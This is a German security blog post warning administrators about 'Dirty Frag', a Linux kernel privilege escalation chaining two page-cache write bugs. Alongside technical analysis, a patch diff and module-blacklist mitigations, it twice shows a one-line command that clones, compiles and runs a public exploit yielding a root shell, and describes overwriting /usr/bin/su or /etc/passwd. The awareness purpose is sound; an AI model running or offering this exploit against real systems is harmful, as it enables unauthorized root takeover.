Realtime-Attack-Map
SURICATA / LIVE FEED

Schon wieder Linux Local Privilege Escalation

Dirty Frag ist eine neue Linux-Kernel-Schwachstelle, mit der sich aus einem normalen Benutzerkonto heraus Root-Rechte erlangen lassen - auf nahezu allen verbreiteten Distributionen.

Schon wieder Linux Local Privilege Escalation

Gestern wurde mit Dirty Frag eine neue Schwachstellen-Klasse im Linux-Kernel veröffentlicht, die es einem unprivilegierten Benutzer ermöglicht, Root-Rechte auf nahezu allen verbreiteten Linux-Distributionen zu erlangen. Der Exploit ist öffentlich verfügbar, besteht aus einer einzigen Kommandozeile und funktioniert deterministisch - ohne Race Condition und ohne Kernel-Absturz.

Wer es schnell testen will, prüft es so in seiner Konsole:
michael@mmhack:~ $ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
root@mmhack:~ # id
uid=0(root) gid=0(root) Gruppen=0(root)
0:00
/0:22

Dieser Artikel richtet sich als Awareness-Maßnahme an Administratoren, Betreiber kritischer Infrastrukturen und alle, die Linux-Systeme im Einsatz haben. Ich zeige, wie einfach die Ausnutzung in der Praxis ist, wie der Angriff technisch funktioniert und welche Gegenmaßnahmen sofort ergriffen werden können.

Hintergrund: Die "Dirty"-Familie

Dirty Frag ist kein isolierter Fund. Die Schwachstelle gehört zur selben Klasse wie Dirty Pipe (CVE-2022-0847) und Copy Fail, über die hier auf dem Blog bereits berichtet wurde: Copy Fail.

The Dirty Pipe Vulnerability — The Dirty Pipe Vulnerability documentation
Copy Fail: 732 Bytes zum Root-Zugriff
Demonstration, Analyse und Fix von CVE-2026-31431 auf einer Proxmox-VM.

Allen drei gemein ist das Prinzip des Page-Cache Write: Durch eine Kombination aus splice() und Kernel-internen Zero-Copy-Pfaden wird ein Angreifer in die Lage versetzt, Dateien im RAM-Cache zu überschreiben, auf die er nur Leserechte besitzt - darunter /etc/passwd oder /usr/bin/su. Der Kernel liest bei späteren Zugriffen die veränderte Kopie, ohne dass die Datei auf der Festplatte berührt wird.

Dirty Frag reproduziert dieses Muster nicht auf struct pipe_buffer wie Dirty Pipe, sondern auf dem frag-Feld eines struct sk_buff - dem internen Netzwerkpuffer des Kernels.

Die zwei Schwachstellen

Dirty Frag verkettet zwei separate Kernel-Bugs, die sich gegenseitig ergänzen.

CVE-2026-43284 - xfrm-ESP Page-Cache Write

In esp_input() - dem Empfangspfad für IPsec-ESP-Pakete - wird unter bestimmten Bedingungen skb_cow_data() übersprungen. Diese Funktion sollte sicherstellen, dass vor einer In-place-Krypto-Operation zunächst eine private Kopie der Daten angelegt wird. Ist der skb nicht geklont und hat keine frag_list, springt der Code direkt zur In-place-Entschlüsselung - auch dann, wenn der frag des skb auf eine Page-Cache-Seite zeigt, die der Angreifer zuvor per splice() dort platziert hat.

Das Ergebnis: crypto_authenc_esn_decrypt() schreibt 4 Byte direkt in den Page Cache einer Datei, auf die der Angreifer nur Leserechte hat. Der Schreibwert ist der seq_hi-Wert aus dem SA-Header, den der Angreifer beim Anlegen der XFRM Security Association frei wählen kann. Offset und Wert sind damit vollständig kontrollierbar.

Dieser Angriffspfad erfordert CAP_NET_ADMIN - also die Berechtigung, einen User-Namespace anzulegen (unshare(CLONE_NEWUSER)).

Der Patch für CVE-2026-43284 wurde am 7. Mai 2026 in den netdev-Baum gemergt (Commit f4c50a4034e6). Er ergänzt in esp_input und esp6_input eine Prüfung auf das SKBFL_SHARED_FRAG-Flag, das in den IPv4/IPv6-Datagramm-Append-Pfaden gesetzt wird, wenn Seiten per splice() eingebracht wurden.

CVE-2026-43500 - RxRPC Page-Cache Write

rxkad_verify_packet_1() führte eine In-place-Entschlüsselung mit pcbc(fcrypt) direkt auf dem frag des empfangenen skb durch, ohne vorher zu prüfen, ob dieser frag auf eine Page-Cache-Seite zeigt. Da der RxRPC-Pfad keine Namespace-Berechtigung benötigt, ist dieser Angriffsweg auch für vollständig unprivilegierte Benutzer ohne jede zusätzliche Berechtigung nutzbar.

Da fcrypt ein deterministischer 56-Bit-Blockchiffre ist, lässt sich der Schreibwert durch Brute-Force eines Session-Keys in wenigen Millisekunden bis Sekunden im User-Space vorhersagen. Als Ziel dient Zeile 1 von /etc/passwd (der root-Eintrag): Durch drei überlappende Schreiboperationen wird das Passwortfeld auf einen Leerstring gesetzt, woraufhin PAM mit nullok-Konfiguration den Login ohne Passwort akzeptiert.

Für CVE-2026-43500 existiert bisher kein gemergter Patch. Der Autor hat einen Patch-Vorschlag eingereicht.

Betroffene Systeme

CVE-2026-43284 betrifft Kernel-Versionen von Januar 2017 bis Mai 2026 - eine effektive Lebensdauer von etwa 9 Jahren.

CVE-2026-43500 betrifft Kernel-Versionen ab Juni 2023 und ist zum Zeitpunkt der Veröffentlichung in allen aktuellen Trees ungepatch.

Getestete und bestätige betroffene Distributionen:

  • Ubuntu 24.04.4 (Kernel 6.17.0-23-generic)
  • RHEL 10.1 (Kernel 6.12.0-124.49.1.el10_1.x86_64)
  • openSUSE Tumbleweed (Kernel 7.0.2-1-default)
  • CentOS Stream 10 (Kernel 6.12.0-224.el10.x86_64)
  • AlmaLinux 10 (Kernel 6.12.0-124.52.3.el10_1.x86_64)
  • Fedora 44 (Kernel 6.19.14-300.fc44.x86_64)

Wie einfach ist die Ausnutzung?

Der gesamte Exploit lässt sich mit einer einzigen Kommandozeile kompilieren und ausführen:

michael@mmhack:~ $ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
root@mmhack:~ # id
uid=0(root) gid=0(root) Gruppen=0(root)

Die Ausnutzung läuft vollständig deterministisch ab. Es wird keine Race Condition benötigt, und ein fehlgeschlagener Versuch führt nicht zu einem Kernel-Absturz. Der Exploit prüft selbst, welcher der beiden Angriffspfade in der aktuellen Umgebung verfügbar ist:

  • Ist unshare(CLONE_NEWUSER) erlaubt, wird der ESP-Pfad verwendet, der /usr/bin/su im Page Cache mit einem statischen Root-Shell-ELF überschreibt (192 Byte, aufgeteilt in 48 x 4-Byte-Schreiboperationen).
  • Ist der User-Namespace gesperrt (z. B. durch Ubuntu-AppArmor-Policy), greift der RxRPC-Pfad, der das Passwortfeld in /etc/passwd leert.

Der Ablauf in einfachen Worten:

  1. Der Angreifer nutzt eine Schwachstelle im Linux-Kernel.
    Konkret in einer Netzwerk-/VPN-Funktion.
  2. Dadurch kann er Speicherbereiche manipulieren, die eigentlich schreibgeschützt sein sollten.
  3. Er ersetzt Teile eines vertrauenswürdigen Systemprogramms durch eigenen Code.
  4. Das manipulierte Programm wird gestartet.
  5. Weil das Programm normalerweise Administratorrechte besitzt, bekommt auch der Schadcode volle Root-Rechte.
Das ist besonders kritisch in KRITIS-Umgebungen, weil:
  • klassische Virenscanner den Angriff eventuell nicht erkennen,
  • keine sichtbare Malware-Datei entstehen muss,
  • ein Angreifer sehr unauffällig Administratorrechte erhält,
  • und danach komplette Systeme kontrollieren kann.
Praktische Bedeutung für den Betrieb:

So ein Angriff wäre typischerweise geeignet für:

  • gezielte Angriffe auf Rechenzentren,
  • staatliche Akteure,
  • Ransomware-Gruppen,
  • oder Supply-Chain-Angriffe.

Der Patch - was ändert sich?

CVE-2026-43284 (gepatcht)

Der gemergete Patch setzt in den IPv4/IPv6-Datagramm-Append-Pfaden ein neues SKBFL_SHARED_FRAG-Flag, wenn Seiten per splice() ohne MSG_NO_SHARED_FRAGS eingefügt werden. In esp_input und esp6_input wird dieses Flag vor dem skip_cow-Sprung geprüft:

-       } else if (!skb_has_frag_list(skb)) {
+       } else if (!skb_has_frag_list(skb) &&
+                  !skb_has_shared_frag(skb)) {

Damit werden skbs mit extern eingebundenen Page-Cache-Seiten immer über skb_cow_data geleitet, bevor eine In-place-Operation stattfindet.

michael@michael:~ $ ./exp
dirtyfrag: failed (rc=1)

CVE-2026-43500 (ungepatcht, Patch eingereicht)

Der vorgeschlagene Patch für den RxRPC-Pfad ergänzt die Bedingung skb_cloned(skb) um || skb->data_len, sodass auch nicht-lineare skbs (d. h. solche mit einem frag, der auf den Page Cache zeigt) zunächst per skb_copy() isoliert werden, bevor die In-place-Entschlüsselung läuft.

Sofortmaßnahmen

Da CVE-2026-43500 aktuell auf allen Distributionen ungepatch ist und CVE-2026-43284 erst nach einem Kernel-Update geschlossen wird, empfiehlt sich folgende sofortige Gegenmaßnahme - das Deaktivieren der betroffenen Kernel-Module:

cat <<-EOF > /etc/modprobe.d/dirtyfrag.conf
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
EOF

rmmod esp4 esp6 rxrpc

Dieser Befehl verhindert das Laden von esp4, esp6 und rxrpc und bereinigt den Page Cache. Systeme, die auf IPsec-Transport (esp4/esp6) angewiesen sind, müssen dies abwägen und priorisiert einen Kernel-Update einspielen.

Nach einem erfolgreichen Exploit-Lauf ist der Page Cache kontaminiert. Zur Bereinigung genügt:

echo 3 > /proc/sys/vm/drop_caches

oder ein Reboot des Systems.

Fazit

Dirty Frag zeigt erneut, wie tief verwurzelte Design-Annahmen im Kernel - in diesem Fall der Zero-Copy-Pfad über splice() und die Erreichbarkeit des Page Cache durch Netzwerksubsysteme - zur Grundlage verlässlicher Privilege-Escalation-Techniken werden können. Die Schwachstelle war im Falle von CVE-2026-43284 fast neun Jahre im Kernel aktiv. CVE-2026-43500 ist zum Zeitpunkt dieses Artikels auf allen Systemen weiterhin ausnutzbar.

Besonders kritisch ist, dass die bekannte Gegenmaßnahme für Copy Fail (Blacklist von algif_aead) hier wirkungslos ist: Dirty Frag nutzt einen anderen Pfad und ist davon völlig unabhängig.

Für Betreiber kritischer Infrastrukturen gilt: Die oben beschriebenen Modul-Sperren sind sofort einzuspielen. Kernel-Updates sind zu priorisieren, sobald die jeweilige Distribution einen Backport bereitstellt.